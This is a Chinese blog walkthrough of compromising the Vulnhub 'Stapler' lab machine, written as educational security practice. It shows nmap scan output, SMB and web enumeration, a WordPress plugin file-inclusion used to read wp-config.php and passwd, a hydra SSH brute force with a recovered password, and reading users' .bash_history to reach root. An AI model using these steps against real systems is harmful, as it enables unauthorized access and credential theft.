Vulnhub Stapler靶机

文章详细描述了通过端口扫描工具nmap探测网络设备的服务状态,特别关注了FTP、SMB、HTTP、MySQL等开放端口。提到利用.bash_history等隐藏文件获取权限,以及通过扫描发现的漏洞进行提权和渗透测试的方法。
摘要由CSDN通过智能技术生成

信息搜集

端口开放扫描

nmap检测端口开放情况发现开放的端口比较多,按照熟悉程度我会先看80端口,在红队的渗透中我们需要强调隐蔽性,如果需要nmap扫描就可以扫描常见端口,不必像我们这次一样进行全方位扫描。

 cat ../Nmap_result/Stapler_port|grep open|awk -F '/' '{print $1}'|tr '\n' ' '
端口服务扫描
nmap -A 192.168.56.101 -n -p 20,21,22,53,80,123,137,138,139,666,3306,12380 -oN Nmap_result/Staper_all
PORT      STATE  SERVICE     VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.56.3
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8121cea11a05b1694f4ded8028e89905 (RSA)
|   256 5ba5bb67911a51c2d321dac0caf0db9e (ECDSA)
|_  256 6d01b773acb0936ffab989e6ae3cabd3 (ED25519)
53/tcp    open   domain      dnsmasq 2.75
| dns-nsid:
|_  bind.version: dnsmasq-2.75
80/tcp    open   http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open   doom?
| fingerprint-strings:
|   NULL:
|     message2.jpgUT
|     QWux
|     "DL[E
|     #;3[
|     \xf6
|     u([r
|     qYQq
|     Y_?n2
|     3&M~{
|     9-a)T
|     L}AJ
|_    .npy.9
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
| mysql-info:
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 7
|   Capabilities flags: 63487
|   Some Capabilities: SupportsLoadDataLocal, Speaks41ProtocolOld, SupportsTransactions, Support41Auth, InteractiveClient, ConnectWithDatabase, SupportsCompression, FoundRows, LongPassword, LongColumnFlag, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, ODBCClient, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: BogNJy>!d\x14\x16W,D\x1CG\x1C\x07Mf
|_  Auth Plugin Name: mysql_native_password
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Tim, we need to-do better next year for Initech
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.93%I=7%D=2/28%Time=65DECA7C%P=x86_64-pc-linux-gnu%r(NUL
SF:L,10F8,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x1
SF:52\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x0
SF:4\xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@\xa
SF:2\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2\
SF:x0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\x
SF:b2\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xaeu
SF:\xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\xd
SF:3\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\xa
SF:0\xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\[\x
SF:87\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\x
SF:f4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\x
SF:dc\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\xd
SF:5\x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\xa
SF:f\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2:
SF:\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk\
SF:x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc\
SF:xe7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xfd
SF:\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\xcc\
SF:x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0\
SF:xf1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r\
SF:xf8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaak
SF:\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy\
SF:xd2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7f
SF:\xf9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb\
SF:[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf9\x
SF:cc\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\xa
SF:7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81\
SF:xfd\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x9
SF:6\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8f
SF:\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf4
SF:\xed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd\
SF:x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\xb
SF:cL}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf0
SF:\.npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x04\
SF:xf6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\x
SF:f3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11\
SF:?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
MAC Address: 08:00:27:29:A0:AA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2024-02-28T13:54:16+00:00
|_clock-skew: mean: 7h59m58s, deviation: 1s, median: 7h59m57s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-02-28T13:54:15
|_  start_date: N/A

TRACEROUTE
HOP RTT     ADDRESS
1   0.65 ms 192.168.56.101

这里可以看到ftp是有匿名访问的,139是smb服务可以进行枚举一下,666端口有数据发出应该是图片数据,有3306数据库,和12380也是http服务,80端口是用php命令行的方式起的服务器,这和我们用python起服务器一样。

漏洞探测

21端口 FTP服务 Anonymous登录

存在Anonymous登录,这里看到有一个note文件。

将文件下载下来有这样的一句话,Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

这里暴露了两个账号Elly和John记录下来,也许后面有用。

尝试上传失败

在ftp界面将我们的文件put一下,看能否上传发现上传失败,没有权限。

53端口 dnsmasq

没有找到可以利用的漏洞

80端口 php cli服务器

存在文件泄露问题。

[06:10:47] Starting:
[06:10:47] 200 -    4KB - /.bashrc
[06:10:47] 200 -  220B  - /.bash_logout
[06:10:49] 200 -  675B  - /.profile

Linux文件 profile、bashrc、bash_profile区别

Linux| 用户目录下三个bash文件的作用(.bash_history,.bash_logout,.bash_profile,.bashrc)_inurl:.bash_history-CSDN博客

扫描到了如下文件,服务器看来是在用户根目录起的。

关于.bashrc

不同目录下的 .bashrc 文件其作用不尽相同,比如:

/etc/skel/.bashrc  #文件将复制到系统上创建的任何新用户的主文件夹中
/home/mmoriarty/.bashrc  #是bash的配置文件,保存个人的一些个性化设置,如命令别名、路径等
139端口smb服务
enum4linux 192.168.56.101
cat smb |awk -F '\' '{print $2}'|awk -F ' ' '{print $1}'>>Account

将枚举出来的账号加入我们的记录的字典中。

666端口 nc将信息存储在本地
 nc 192.168.56.101 666 >> 666
 file 666
 mv 666 666.zip
 unzip 666.zip
 ll -a #查看是否解压了以点为开头的隐藏文件。
 display message2.jpg

用strings查看该图片信息发现了如下的东西

12380端口 https服务

http://192.168.56.101:12380/

这里直接用http服务访问发现是400,要用https协议进行访问。

这里换个目录扫描工具进行扫描。

dirb  https://192.168.56.101:12380/ /usr/share/wordlists/dirb/big.txt
phpmyadmin

扫描出来最主要的就是phpmyadmin和robots.txt文件夹下面的东西了,

phpmyadmin发现root只能本地进行登录。

robots.txt目录

robots.txt发现两个目录。

/blogblog/目录 wordpress

发现一个博客网站,感觉在这个目录下dirsearch一下,顺便whatweb扫描一下指纹。

wordpress,可以使用wpscan扫描利用。

/wp-content/这个目录下面会有wp下载的插件主题等信息。

WordPress Advanced-viedeo LIF漏洞利用

可以searsploit来查看这些插件是否有可利用的漏洞。

存在远程文件包含,这里用这个提供的py文件无法使用,可以vim 看一下py脚本是怎么写的

用poc进行文件包含后,会在wp-content/uploads目录下面生成图片文件,这里我点开图片发现图片打不开,bp下载到本地strings查看发现是文本文件而不是图片

strings xxx.jpeg

用这个漏洞包含wp-config.php文件成功发现数据库的账号和密码,一般来说有许多人设置的密码可以通用登录许多服务,这里我们可以吧这个密码放到字典中爆破ssh

用同样的方法获取到Stapler这个靶机的passwd文件筛选出有shell的用户,加入我们的爆破账号字典中。

cat StaperPasswd | grep bash |awk -F ':' '{print $1}' >>Account

Get User shell

hydra 192.168.56.101 ssh -L Account  -P Password
[22][ssh] host: 192.168.56.101   login: zoe   password: plbkac
上传suidcheck
zoe@red:~$ ./suidcheck.sh
suidcheck By Jewel591
https://github.com/Jewel591
------------------------------
Searching for executables file with s privileges

/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgidmap
/usr/bin/at
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/ubuntu-core-launcher
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/authbind/helper
/bin/mount
/bin/umount
/bin/ping
/bin/fusermount
/bin/ping6
/bin/su

The results of the analysis are as follows:
--------------------------------------------------------------------------
SUID File                           | Visit the link to see how to use it
----------------------------------- | ------------------------------------

没有可以利用的suid文件,

Get Root Shell

mysql udf提权尝试失败

Red-vs-Blue/linux环境下的MySQL UDF提权.md at master · SEC-GO/Red-vs-Blue

好像不能写入文件,没有权限也没有对应的库。

查看.bash_history文件提权成功
.bash_history文件

保存我们上一次登录期间在linux里输入的命令,退出的时候,会自动保存到该文件。创建一个新用户,然后敲一些命令,这些命令会存在内存中,退出该用户,就会把这些命令写到.bash_history
(这个文件为该用户的家目录下边的隐藏文件)里边去

 cat /home/*/.bash_history

发现peter的密码,登录peter这个用户,发现有sudo权限,直接sudo su root提权。

总结

这次的靶机端口开放比较多,一开始比较蒙,我们可以根据熟悉程度对端口进行探测,这次对于Linux的一些隐藏文件了解了一些,如.bash_history .bashrc .bash_logout 等文件,我们在渗透测试的流程中一定要多将有用的信息进行记录,方法不唯一,还可以用数据库登陆,获取到wp用户密码进行破解登陆wp后台上传shell,wpscan对我们之前获取到的用户进行爆破等方法进入后台操作。

  • 30
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值